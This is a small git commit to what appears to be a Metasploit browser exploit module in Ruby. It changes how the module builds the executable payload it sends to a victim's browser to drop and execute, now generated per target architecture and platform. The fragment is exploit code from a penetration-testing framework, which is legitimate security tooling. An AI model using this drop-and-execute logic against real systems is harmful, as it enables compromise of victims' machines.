Use renegerate_payload(cli, ...).

unstable
Joe Vennix 2013-05-16 13:15:00 -05:00
parent 1a5c747bb9
commit 60fdf48535
1 changed files with 3 additions and 3 deletions

View File

@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
elsif request.uri =~ /\.bin/
# send the binary payload to drop & exec
print_status("Child frame navigated. Sending binary payload to drop & execute.")
send_response(cli, dropped_file_contents, { 'Content-Type' => 'application/octet-stream' })
send_response(cli, dropped_file_contents(cli, my_target), { 'Content-Type' => 'application/octet-stream' })
else
# send initial HTML page
print_status("Sending #{self.name}")
@ -120,8 +120,8 @@ class Metasploit3 < Msf::Exploit::Remote
handler(cli)
end
def dropped_file_contents
generate_payload_exe
def dropped_file_contents(cli, my_target)
regenerate_payload(cli, my_target.arch, my_target.platform, my_target).encoded_exe
end
def get_target(agent)